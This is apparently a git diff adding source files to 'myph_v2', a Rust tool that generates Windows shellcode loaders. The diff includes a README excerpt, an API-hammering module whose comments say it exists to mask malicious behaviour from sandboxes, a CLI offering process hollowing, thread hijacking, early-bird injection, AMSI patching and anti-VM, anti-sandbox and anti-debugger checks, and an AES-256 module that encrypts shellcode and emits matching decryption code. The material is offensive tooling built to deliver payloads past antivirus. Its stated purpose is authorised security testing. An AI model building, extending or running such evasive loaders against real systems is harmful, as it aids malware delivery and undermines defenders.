+MYPH_DEBUG_CODEGEN=1 ./myph_v2 -s shellcode.raw -f output.exe -e aes
+```
+
+This adds helpful comments to the generated code showing technique names and code sections:
+```rust
+// === Technique: CreateFiber ===
+// --- Imports & Declarations ---
+// --- Constants ---
+// --- Main Implementation ---
+```
+
+Useful for debugging code generation issues. Has no effect on production builds (comments are removed during compilation).
+
+---
+
+## CI/CD
+
+GitHub Actions runs on every push to `stable`:
+
+1. **Check**: `cargo check --verbose`
+2. **Test**: `cargo test --verbose` (unit tests)
+3. **Format**: `cargo fmt -- --check`
+4. **Clippy**: `cargo clippy --all-targets --all-features -- -D warnings`
+5. **E2E Test**: Validates all 13 techniques, 7 encryption methods, and features
+6. **Build**: `cargo build --release --verbose`
+7. **Windows Integration**: Unit tests for PEB walk and API resolution
+8. **Windows E2E**: Build myph-v2, generate binaries with NOP shellcode, and verify execution
+
+Run locally:
+```bash
+cargo check && cargo test && cargo fmt --check && \
+cargo clippy --all-targets --all-features -- -D warnings && \
+cargo build --release
+```
+
+---
+
+## Architecture
+
+### Code Generation Pipeline
+
+```
+CLI Input → Parse Options → Encrypt Shellcode → Generate Rust Project
+→ Cargo Build (optimized, stripped) → Verify Binary → Copy to Output
+```
+
+### Design Principles
+
+- **Code Generation**: Creates temporary Rust projects for optimal compilation
+- **Encryption**: Proper cryptographic practices with SHA-256 key derivation
+- **Builder Pattern**: Type-safe, fluent API for configuration
+
+---
+
+## Troubleshooting
+
+### Build Issues
+
+**`linker 'x86_64-w64-mingw32-gcc' not found`**
+```bash
+# Install MinGW-w64
+sudo apt-get install mingw-w64  # Debian/Ubuntu
+brew install mingw-w64           # macOS
+rustup target add x86_64-pc-windows-gnu
+```
+
+**`Failed to read shellcode file`**
+```bash
+ls -lh shellcode.raw    # Verify file exists
+chmod +r shellcode.raw  # Fix permissions
+```
+
+### Runtime Issues
+
+**Generated binary won't execute on Windows**
+- Check Windows Defender/AV isn't quarantining
+- Verify correct architecture (x64): `file output.exe`
+- Try running as Administrator for injection techniques
+
+**Injection fails with "Access Denied"**
+- Run as Administrator
+- Target less-protected process (e.g., notepad.exe)
+- Try different injection technique
+
+---
+
+## Contributing
+
+### Adding a New Technique
+
+To add a new injection technique:
+
+1. Create `src/internals/templates/techniques/new_technique.rs` with the standard pattern:
+   ```rust
+   pub fn new_technique_import() -> String { /* imports */ }
+   pub fn new_technique_const() -> String { /* constants/externs */ }
+   pub fn new_technique_init() -> String { /* init code */ }
+   pub fn new_technique_process() -> String { /* main logic */ }
+   pub fn generate_new_technique_code(function_name: &str) -> String { /* static version */ }
+   pub struct NewTechniqueGenerator;
+   impl TechniqueGenerator for NewTechniqueGenerator { /* trait impl */ }
+   ```
+
+2. Use centralized externs from `common.rs` - don't duplicate `VirtualAlloc`, `VirtualProtect`, etc.
+
+3. Use helpers from `codegen_helpers.rs` for common patterns like `MemoryAllocationBuilder`
+
+4. Export in `mod.rs`:
+   ```rust
+   pub mod new_technique;
+   pub use new_technique::NewTechniqueGenerator;
+   ```
+
+5. Add unit tests and E2E tests in `.github/workflows/ci.yml`
+
+6. Update the technique table in this README
+
+---
+
+## Legal Notice
+
+This tool is provided for educational and authorized security testing purposes only. The authors and contributors are not responsible for misuse or illegal activities conducted with this software. Always obtain explicit written permission before testing against systems you do not own.
+
+---
+
+## Contact
+
+For suggestions or questions, please contact the author directly at [https://djnn.sh](https://djnn.sh).
+
+---
+
+**Made with care by djnn**

diff --git a/build.rs b/build.rs
@@ -0,0 +1,44 @@
+use std::env;
+use std::fs;
+use std::path::Path;
+
+// Include only the modules needed for build script
+mod internals_utils {
+    include!("src/internals/templates/internals_utils.rs");
+}
+
+mod validation {
+    include!("src/internals/templates/validation.rs");
+}
+
+// Re-export the functions we need
+use internals_utils::*;
+use validation::*;
+
+/// Generate the complete internals module source code for embedding in generated binaries
+fn generate_internals_source() -> String {
+    format!(
+        "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}",
+        internals_hex_to_bytes(),
+        internals_bytes_to_hex(),
+        internals_xor_bytes(),
+        internals_pad_pkcs7(),
+        internals_unpad_pkcs7(),
+        internals_is_valid_utf8(),
+        internals_compute_checksum(),
+        internals_validate_checksum()
+    )
+}
+
+fn main() {
+    let out_dir = env::var("OUT_DIR").unwrap();
+    let dest_path = Path::new(&out_dir).join("internals_impl.rs");
+
+    let implementation = generate_internals_source();
+
+    fs::write(&dest_path, implementation).unwrap();
+    println!("cargo:rerun-if-changed=build.rs");
+    println!("cargo:rerun-if-changed=src/internals/templates/internals_utils.rs");
+    println!("cargo:rerun-if-changed=src/internals/templates/encryption.rs");
+    println!("cargo:rerun-if-changed=src/internals/templates/validation.rs");
+}

diff --git a/src/api_hammering.rs b/src/api_hammering.rs
@@ -0,0 +1,177 @@
+//! API Hammering - Evasion technique to defeat behavioral analysis
+//!
+//! This module implements API hammering, an anti-analysis technique that adds
+//! random CPU-intensive and I/O operations between API calls to evade sandbox
+//! detection and behavioral analysis engines.
+//!
+//! # Techniques Used
+//!
+//! - **Random File I/O**: Creates, writes, reads, and deletes temporary files
+//!   with random names and extensions to generate I/O noise
+//! - **CPU-Intensive Operations**: Calculates prime numbers to consume CPU
+//!   cycles and add timing variations
+//!
+//! # Usage
+//!
+//! These functions are injected into the generated payload code when the
+//! `--with-api-hammering` flag is enabled. They are called between critical
+//! API operations to mask the actual malicious behavior.
+
+use rand::{thread_rng, Rng};
+use std::fs::{remove_file, File};
+use std::io::{self, Read, Write};
+
+pub fn write_random_files(num: usize) -> io::Result<()> {
+    let dir = std::env::temp_dir();
+
+    for _ in 0..num {
+        let mut rng = thread_rng();
+        let random_suffix: u32 = rng.gen();
+        let extensions = [".log", ".bitmap", ".txt"];
+        let extension = extensions[rng.gen_range(0..extensions.len())];
+        let file_name = format!("{:x}{}", random_suffix, extension);
+        let path = dir.as_path().join(&file_name);
+
+        let size = 0xFFFFF;
+
+        let mut file = File::create(&path)?;
+        let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
+        file.write_all(&data)?;
+
+        let mut file = File::open(&path)?;
+        let mut buffer = vec![0; size];
+        file.read_exact(&mut buffer)?;
+
+        remove_file(path)?;
+    }
+
+    Ok(())
+}
+
+#[no_mangle]
+#[inline(never)]
+pub fn calc_primes(iterations: usize) {
+    let mut prime = 2;
+    let mut i = 0;
+    while i < iterations {
+        if (2..prime).all(|j| prime % j != 0) {
+            i += 1;
+        }
+        prime += 1;
+    }
+}
+
+pub fn allocate_random_memory(num_allocs: usize) {
+    let mut allocations = Vec::new();
+    let mut rng = thread_rng();
+
+    for _ in 0..num_allocs {
+        let size = 1024 + rng.gen_range(0..8192);
+        let data: Vec<u8> = (0..size).map(|_| rng.gen()).collect();
+        allocations.push(data);
+    }
+}
+
+pub fn transform_strings(iterations: usize) {
+    let mut rng = thread_rng();
+
+    for _ in 0..iterations {
+        let len = rng.gen_range(5..15);
+        let s: String = (0..len)
+            .map(|_| {
+                let idx = rng.gen_range(0..26);
+                (b'a' + idx) as char
+            })
+            .collect();
+        let _uppercase = s.to_uppercase();
+        let _lowercase = s.to_lowercase();
+        let _repeated = s.repeat(3);
+        let _reversed: String = s.chars().rev().collect();
+    }
+}
+
+pub fn sleep_random_jitter(max_millis: u64) {
+    let mut rng = thread_rng();
+    let jitter = rng.gen_range(0..max_millis);
+    std::thread::sleep(std::time::Duration::from_millis(jitter));
+}
+
+#[cfg(windows)]
+pub fn query_registry_keys(num_queries: usize) -> io::Result<()> {
+    use std::process::Command;
+
+    let keys = [
+        r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion",
+        r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion",
+        r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control",
+        r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
+        r"HKEY_CURRENT_USER\Environment",
+        r"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services",
+        r"HKEY_LOCAL_MACHINE\SOFTWARE\Classes",
+        r"HKEY_CURRENT_USER\Software\Classes",
+        r"HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System",
+        r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall",
+    ];
+    let mut rng = thread_rng();
+
+    for _ in 0..num_queries {
+        let key = keys[rng.gen_range(0..keys.len())];
+        let _ = Command::new("reg").args(&["query", key]).output();
+    }
+
+    Ok(())
+}
+
+#[cfg(not(windows))]
+pub fn query_registry_keys(_num_queries: usize) -> io::Result<()> {
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_calc_primes_completes() {
+        calc_primes(5);
+    }
+
+    #[test]
+    fn test_write_random_files_succeeds() {
+        let result = write_random_files(1);
+        if let Err(e) = &result {
+            eprintln!("Error: {:?}", e);
+        }
+        assert!(result.is_ok());
+    }
+
+    #[test]
+    fn test_write_random_files_creates_and_removes() {
+        let result = write_random_files(1);
+        if let Err(e) = &result {
+            eprintln!("Error during write_random_files: {:?}", e);
+        }
+        assert!(result.is_ok(), "write_random_files should succeed");
+    }
+
+    #[test]
+    fn test_allocate_random_memory_completes() {
+        allocate_random_memory(5);
+    }
+
+    #[test]
+    fn test_transform_strings_completes() {
+        transform_strings(10);
+    }
+
+    #[test]
+    fn test_sleep_random_jitter_completes() {
+        sleep_random_jitter(5);
+    }
+
+    #[test]
+    fn test_query_registry_keys_succeeds() {
+        let result = query_registry_keys(1);
+        assert!(result.is_ok());
+    }
+}

diff --git a/src/cli/mod.rs b/src/cli/mod.rs
@@ -0,0 +1,504 @@
+use clap::{Parser, ValueEnum};
+use rand::Rng;
+
+#[allow(clippy::upper_case_acronyms)]
+#[derive(Debug, Clone, ValueEnum)]
+pub enum EncryptionKind {
+    AES,
+    #[value(name = "aes256")]
+    AES256,
+    #[value(name = "chacha20")]
+    Chacha20,
+    XOR,
+    #[value(name = "blowfish")]
+    Blowfish,
+    #[value(name = "twofish")]
+    Twofish,
+    #[value(name = "camellia")]
+    Camellia,
+}
+
+#[allow(clippy::upper_case_acronyms)]
+#[derive(Debug, Clone, ValueEnum)]
+pub enum Technique {
+    #[value(name = "crt")]
+    CRT,
+    #[value(name = "crtx")]
+    CRTx,
+    #[value(name = "create-fiber")]
+    CreateFiber,
+    #[value(name = "process-hollowing")]
+    ProcessHollowing,
+    #[value(name = "create-thread")]
+    CreateThread,
+    #[value(name = "nt-create-thread-ex")]
+    NtCreateThreadEx,
+    #[value(name = "syscall")]
+    Syscall,
+    #[value(name = "etwp")]
+    Etwp,
+    #[value(name = "set-timer")]
+    SetTimer,
+    #[value(name = "enum-calendar")]
+    EnumCalendar,
+    #[value(name = "enum-windows")]
+    EnumWindows,
+    #[value(name = "enum-system-locales")]
+    EnumSystemLocales,
+    #[value(name = "image-get-digest-stream")]
+    ImageGetDigestStream,
+    #[value(name = "queue-user-apc")]
+    QueueUserAPC,
+    #[value(name = "fairy-law")]
+    FairyLaw,
+    #[value(name = "module-stomping")]
+    ModuleStomping,
+    #[value(name = "thread-hijacking")]
+    ThreadHijacking,
+    #[value(name = "early-bird")]
+    EarlyBird,
+}
+
+#[derive(Debug, Clone, ValueEnum)]
+pub enum BinaryFormat {
+    #[value(name = "exe")]
+    Exe,
+    #[value(name = "dll")]
+    Dll,
+    #[value(name = "lnk")]
+    Lnk,
+}
+
+#[derive(Debug, Parser)]
+#[command(name = "myph")]
+#[command(author, version, about, long_about = None)]
+pub struct Options {
+    /// Binary format (exe,dll)
+    #[arg(short = 'b', long = "binary-format", default_value = "exe")]
+    pub binary_format: BinaryFormat,
+
+    /// Builds binary with debug symbols
+    #[arg(short = 'd', long = "debug")]
+    pub debug: bool,
+
+    /// Encryption method (aes, aes256, chacha20, xor, blowfish, twofish, camellia)
+    #[arg(short = 'e', long = "encryption", default_value = "aes")]
+    pub encryption: EncryptionKind,
+
+    /// Encryption key, auto-generated if empty (if used by --encryption)
+    #[arg(short = 'k', long = "key")]
+    pub key: Option<String>,
+
+    /// Output name
+    #[arg(short = 'f', long = "out", default_value = "out.exe")]
+    pub out: String,
+
+    /// Target process to inject shellcode to
+    #[arg(short = 'p', long = "process", default_value = "cmd.exe")]
+    pub process: String,
+
+    /// Shellcode path
+    #[arg(short = 's', long = "shellcode", default_value = "msf.raw")]
+    pub shellcode: String,
+
+    /// Shellcode-loading technique
+    #[arg(short = 't', long = "technique", default_value = "crt")]
+    pub technique: Technique,
+
+    /// Enable API Hammering (adds random CPU/IO operations between API calls)
+    #[arg(long = "with-api-hammering")]
+    pub with_api_hammering: bool,
+
+    /// Enable AMSI patching to bypass AMSI before executing shellcode
+    #[arg(long = "with-amsi-patch")]
+    pub with_amsi_patch: bool,
+
+    /// Enable string encryption at compile-time with runtime decryption
+    #[arg(long = "with-string-encryption")]
+    pub with_string_encryption: bool,
+
+    /// Enable dynamic function resolver (PEB walk) with encrypted function names
+    #[arg(long = "with-dynamic-function-resolver")]
+    pub with_dynamic_function_resolver: bool,
+
+    /// Enable anti-VM detection checks before executing shellcode
+    #[arg(long = "with-anti-vm")]
+    pub with_anti_vm: bool,
+
+    /// Enable anti-sandbox detection checks before executing shellcode
+    #[arg(long = "with-anti-sandbox")]
+    pub with_anti_sandbox: bool,
+
+    /// Enable anti-debugger detection checks before executing shellcode
+    #[arg(long = "with-anti-debugger")]
+    pub with_anti_debugger: bool,
+
+    /// Check compatibility of technique with selected features and display information
+    #[arg(long = "check-compatibility")]
+    pub check_compatibility: bool,
+}
+
+impl Options {
+    /// Parse command-line arguments and auto-generate key if not provided
+    pub fn parse_and_generate() -> Self {
+        let mut opts = Self::parse();
+
+        // Auto-generate key if not provided
+        if opts.key.is_none() {
+            opts.key = Some(generate_random_key());
+        }
+
+        // Automatically enable string encryption when dynamic function resolver is enabled
+        if opts.with_dynamic_function_resolver {
+            opts.with_string_encryption = true;
+        }
+
+        opts
+    }
+}
+
+/// Generate a random alphanumeric key of length 12-32
+fn generate_random_key() -> String {
+    const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ\
+                            abcdefghijklmnopqrstuvwxyz\
+                            0123456789";
+    let mut rng = rand::thread_rng();
+
+    // Random length between 12 and 32
+    let len = rng.gen_range(12..=32);
+
+    (0..len)
+        .map(|_| {
+            let idx = rng.gen_range(0..CHARSET.len());
+            CHARSET[idx] as char
+        })
+        .collect()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_basic() {
+        assert_eq!(2 + 2, 4);
+    }
+
+    #[test]
+    fn test_default_options() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+
+        assert_eq!(opts.out, "out.exe");
+        assert_eq!(opts.process, "cmd.exe");
+        assert_eq!(opts.shellcode, "msf.raw");
+        assert!(!opts.debug);
+        assert!(!opts.with_api_hammering);
+        assert!(!opts.with_amsi_patch);
+        assert!(!opts.with_string_encryption);
+        assert!(opts.key.is_none());
+    }
+
+    #[test]
+    fn test_custom_options() {
+        let args = vec![
+            "myph",
+            "-b",
+            "dll",
+            "-d",
+            "-e",
+            "xor",
+            "-k",
+            "test-key",
+            "-f",
+            "payload.dll",
+            "-p",
+            "explorer.exe",
+            "-s",
+            "shellcode.bin",
+            "-t",
+            "create-thread",
+        ];
+        let opts = Options::parse_from(args);
+
+        assert_eq!(opts.out, "payload.dll");
+        assert_eq!(opts.process, "explorer.exe");
+        assert_eq!(opts.shellcode, "shellcode.bin");
+        assert!(opts.debug);
+        assert_eq!(opts.key.as_ref().unwrap(), "test-key");
+    }
+
+    #[test]
+    fn test_encryption_options() {
+        let args = vec!["myph", "-e", "chacha20"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::Chacha20));
+
+        let args = vec!["myph", "-e", "blowfish"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::Blowfish));
+
+        let args = vec!["myph", "-e", "aes"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::AES));
+
+        let args = vec!["myph", "-e", "aes256"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::AES256));
+
+        let args = vec!["myph", "-e", "xor"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::XOR));
+
+        let args = vec!["myph", "-e", "twofish"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::Twofish));
+
+        let args = vec!["myph", "-e", "camellia"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.encryption, EncryptionKind::Camellia));
+    }
+
+    #[test]
+    fn test_technique_options() {
+        let args = vec!["myph", "-t", "crt"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::CRT));
+
+        let args = vec!["myph", "-t", "crtx"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::CRTx));
+
+        let args = vec!["myph", "-t", "create-fiber"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::CreateFiber));
+
+        let args = vec!["myph", "-t", "process-hollowing"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::ProcessHollowing));
+
+        let args = vec!["myph", "-t", "create-thread"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::CreateThread));
+
+        let args = vec!["myph", "-t", "nt-create-thread-ex"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::NtCreateThreadEx));
+
+        let args = vec!["myph", "-t", "syscall"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::Syscall));
+
+        let args = vec!["myph", "-t", "etwp"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::Etwp));
+
+        let args = vec!["myph", "-t", "set-timer"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::SetTimer));
+
+        let args = vec!["myph", "-t", "enum-windows"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::EnumWindows));
+
+        let args = vec!["myph", "-t", "enum-system-locales"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::EnumSystemLocales));
+
+        let args = vec!["myph", "-t", "image-get-digest-stream"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::ImageGetDigestStream));
+
+        let args = vec!["myph", "-t", "queue-user-apc"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::QueueUserAPC));
+
+        let args = vec!["myph", "-t", "fairy-law"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::FairyLaw));
+        let args = vec!["myph", "-t", "module-stomping"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::ModuleStomping));
+
+        let args = vec!["myph", "-t", "thread-hijacking"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::ThreadHijacking));
+
+        let args = vec!["myph", "-t", "early-bird"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.technique, Technique::EarlyBird));
+    }
+
+    #[test]
+    fn test_binary_format_options() {
+        let args = vec!["myph", "-b", "exe"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.binary_format, BinaryFormat::Exe));
+
+        let args = vec!["myph", "-b", "dll"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.binary_format, BinaryFormat::Dll));
+
+        let args = vec!["myph", "-b", "lnk"];
+        let opts = Options::parse_from(args);
+        assert!(matches!(opts.binary_format, BinaryFormat::Lnk));
+    }
+
+    #[test]
+    fn test_key_auto_generation() {
+        let opts = Options::parse_and_generate();
+
+        // Key should be auto-generated
+        assert!(opts.key.is_some());
+        let key = opts.key.unwrap();
+
+        // Key length should be between 12 and 32
+        assert!(key.len() >= 12 && key.len() <= 32);
+
+        // Key should only contain alphanumeric characters
+        assert!(key.chars().all(|c| c.is_alphanumeric()));
+    }
+
+    #[test]
+    fn test_key_provided() {
+        let args = vec!["myph", "-k", "custom-key"];
+        let mut opts = Options::parse_from(args);
+
+        // Manually simulate parse_and_generate behavior
+        if opts.key.is_none() {
+            opts.key = Some(generate_random_key());
+        }
+
+        // Key should be the provided one
+        assert_eq!(opts.key.as_ref().unwrap(), "custom-key");
+    }
+
+    #[test]
+    fn test_with_api_hammering_flag() {
+        let args = vec!["myph", "--with-api-hammering"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_api_hammering);
+    }
+
+    #[test]
+    fn test_without_api_hammering_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_api_hammering);
+    }
+
+    #[test]
+    fn test_with_amsi_patch_flag() {
+        let args = vec!["myph", "--with-amsi-patch"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_amsi_patch);
+    }
+
+    #[test]
+    fn test_without_amsi_patch_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_amsi_patch);
+    }
+
+    #[test]
+    fn test_with_string_encryption_flag() {
+        let args = vec!["myph", "--with-string-encryption"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_string_encryption);
+    }
+
+    #[test]
+    fn test_without_string_encryption_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_string_encryption);
+    }
+
+    #[test]
+    fn test_with_dynamic_function_resolver_flag() {
+        let args = vec!["myph", "--with-dynamic-function-resolver"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_dynamic_function_resolver);
+    }
+
+    #[test]
+    fn test_without_dynamic_function_resolver_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_dynamic_function_resolver);
+    }
+
+    #[test]
+    fn test_dynamic_function_resolver_enables_string_encryption() {
+        let args = vec!["myph", "--with-dynamic-function-resolver"];
+        let mut opts = Options::parse_from(args);
+
+        // Simulate parse_and_generate behavior
+        if opts.key.is_none() {
+            opts.key = Some(generate_random_key());
+        }
+        if opts.with_dynamic_function_resolver {
+            opts.with_string_encryption = true;
+        }
+
+        assert!(opts.with_dynamic_function_resolver);
+        assert!(opts.with_string_encryption);
+    }
+
+    #[test]
+    fn test_with_anti_vm_flag() {
+        let args = vec!["myph", "--with-anti-vm"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_anti_vm);
+    }
+
+    #[test]
+    fn test_without_anti_vm_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_anti_vm);
+    }
+
+    #[test]
+    fn test_with_anti_sandbox_flag() {
+        let args = vec!["myph", "--with-anti-sandbox"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_anti_sandbox);
+    }
+
+    #[test]
+    fn test_without_anti_sandbox_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_anti_sandbox);
+    }
+
+    #[test]
+    fn test_with_anti_debugger_flag() {
+        let args = vec!["myph", "--with-anti-debugger"];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_anti_debugger);
+    }
+
+    #[test]
+    fn test_without_anti_debugger_flag() {
+        let args = vec!["myph"];
+        let opts = Options::parse_from(args);
+        assert!(!opts.with_anti_debugger);
+    }
+
+    #[test]
+    fn test_all_evasion_flags_combined() {
+        let args = vec![
+            "myph",
+            "--with-anti-vm",
+            "--with-anti-sandbox",
+            "--with-anti-debugger",
+        ];
+        let opts = Options::parse_from(args);
+        assert!(opts.with_anti_vm);
+        assert!(opts.with_anti_sandbox);
+        assert!(opts.with_anti_debugger);
+    }
+}

diff --git a/src/encryption/aes256_cipher.rs b/src/encryption/aes256_cipher.rs
@@ -0,0 +1,194 @@
+use super::Encryptor;
+use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use aes::Aes256;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+type Aes256CbcEnc = cbc::Encryptor<Aes256>;
+#[allow(dead_code)]
+type Aes256CbcDec = cbc::Decryptor<Aes256>;
+
+/// AES-256 cipher implementation with CBC mode
+pub struct Aes256Encryptor {
+    key: [u8; 32],
+}
+
+impl Aes256Encryptor {
+    /// Creates a new AES-256 encryptor with the given key
+    /// Uses SHA-256 to derive a proper 32-byte key from the input
+    pub fn new(key: &str) -> Self {
+        let mut hasher = Sha256::new();
+        hasher.update(key.as_bytes());
+        let hash = hasher.finalize();
+
+        let mut key_bytes = [0u8; 32];
+        key_bytes.copy_from_slice(&hash[..32]);
+
+        println!(
+            "[AES-256] Derived key from input (SHA-256): {:02x?}",
+            &key_bytes[..8]
+        );
+
+        Self { key: key_bytes }
+    }
+}
+
+impl Encryptor for Aes256Encryptor {
+    fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        let mut rng = rand::thread_rng();
+        let mut iv = [0u8; 16];
+        rng.fill(&mut iv);
+
+        println!(
+            "[AES-256] Generated random IV for encryption: {:02x?}",
+            &iv[..8]
+        );
+
+        let cipher = Aes256CbcEnc::new(&self.key.into(), &iv.into());
+        let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+        let mut result = iv.to_vec();
+        result.extend_from_slice(&ciphertext);
+
+        Ok(result)
+    }
+
+    fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+        if data.len() < 16 {
+            return Err("Ciphertext too short to contain IV".to_string());
+        }
+
+        let iv: [u8; 16] = data[..16].try_into().unwrap();
+        let ciphertext = &data[16..];
+
+        println!("[AES-256] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+        let cipher = Aes256CbcDec::new(&self.key.into(), &iv.into());
+        cipher
+            .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+            .map_err(|e| format!("Decryption error: {:?}", e))
+    }
+
+    fn key_size(&self) -> usize {
+        32
+    }
+
+    fn algorithm_name(&self) -> &'static str {
+        "AES-256-CBC"
+    }
+
+    fn uses_iv(&self) -> bool {
+        true
+    }
+
+    fn generate_decrypt_code(&self) -> &'static str {
+        r#"/// Decrypts AES-256 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_aes256(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+    use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+    use aes::Aes256;
+    
+    if data.len() < 16 {
+        return Err("Ciphertext too short to contain IV".to_string());
+    }
+    
+    if key.len() != 32 {
+        return Err("Key must be 32 bytes for AES-256".to_string());
+    }
+    
+    let iv: [u8; 16] = data[..16].try_into().unwrap();
+    let ciphertext = &data[16..];
+    
+    let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+    
+    type Aes256CbcDec = cbc::Decryptor<Aes256>;
+    let cipher = Aes256CbcDec::new(&key_array.into(), &iv.into());
+    cipher
+        .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+        .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+    }
+
+    fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+        vec![("aes", "0.8"), ("cbc", "0.1")]
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_aes256_encrypt_decrypt() {
+        let encryptor = Aes256Encryptor::new("my-secret-key-123");
+        let plaintext = b"Hello, World!";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_aes256_different_keys() {
+        let encryptor1 = Aes256Encryptor::new("key1");
+        let encryptor2 = Aes256Encryptor::new("key2");
+        let plaintext = b"Test data";
+
+        let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+        let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+        assert_ne!(encrypted1, encrypted2);
+    }
+
+    #[test]
+    fn test_aes256_empty_data() {
+        let encryptor = Aes256Encryptor::new("key");
+        let empty: &[u8] = &[];
+
+        let encrypted = encryptor.encrypt(empty).unwrap();
+        assert!(encrypted.len() >= 16);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted.len(), 0);
+    }
+
+    #[test]
+    fn test_aes256_wrong_key_decryption() {
+        let encryptor1 = Aes256Encryptor::new("correct-key");
+        let encryptor2 = Aes256Encryptor::new("wrong-key");
+        let plaintext = b"Secret message";
+
+        let encrypted = encryptor1.encrypt(plaintext).unwrap();
+        let result = encryptor2.decrypt(&encrypted);
+
+        assert!(result.is_err() || result.unwrap() != plaintext);
+    }
+
+    #[test]
+    fn test_aes256_long_data() {
+        let encryptor = Aes256Encryptor::new("secret-key");
+        let plaintext =
+            b"This is a much longer message that exceeds the AES block size of 16 bytes";
+
+        let encrypted = encryptor.encrypt(plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+
+    #[test]
+    fn test_aes256_binary_data() {
+        let encryptor = Aes256Encryptor::new("key");
+        let plaintext: Vec<u8> = (0..=255).collect();
+
+        let encrypted = encryptor.encrypt(&plaintext).unwrap();
+        assert_ne!(encrypted, plaintext);
+
+        let decrypted = encryptor.decrypt(&encrypted).unwrap();
+        assert_eq!(decrypted, plaintext);
+    }
+}

diff --git a/src/encryption/aes_cipher.rs b/src/encryption/aes_cipher.rs
@@ -0,0 +1,200 @@
+use super::Encryptor;
